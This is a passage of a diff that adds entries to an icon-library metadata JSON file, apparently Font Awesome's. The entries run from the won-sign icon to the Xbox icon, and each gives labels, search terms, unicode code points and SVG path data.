50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z" + } + }, + "free": [ + "brands" + ] + }, + "won-sign": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "krw", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f159", + "label": "Won Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635819, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z" + } + }, + "free": [ + "solid" + ] + }, + "wordpress": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f19a", + "label": "WordPress Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z" + } + }, + "free": [ + "brands" + ] + }, + "wordpress-simple": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f411", + "label": "Wordpress Simple", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z" + } + }, + "free": [ + "brands" + ] + }, + "wpbeginner": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f297", + "label": "WPBeginner", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z" + } + }, + "free": [ + "brands" + ] + }, + "wpexplorer": { + "changes": [ + "4.7", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2de", + "label": "WPExplorer", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z" + } + }, + "free": [ + "brands" + ] + }, + "wpforms": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f298", + "label": "WPForms", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861029, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z" + } + }, + "free": [ + "brands" + ] + }, + "wpressr": { + "changes": [ + "5.4.2" + ], + "ligatures": [], + "search": { + "terms": [ + "rendact" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f3e4", + "label": "wpressr", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z" + } + }, + "free": [ + "brands" + ] + }, + "wrench": { + "changes": [ + "2", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "construction", + "fix", + "mechanic", + "plumbing", + "settings", + "spanner", + "tool", + "update" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ad", + "label": "Wrench", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635820, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "x-ray": { + "changes": [ + "5.0.7", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "health", + "medical", + "radiological images", + "radiology", + "skeleton" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f497", + "label": "X-Ray", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635820, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "xbox": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f412", + "label": "Xbox", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 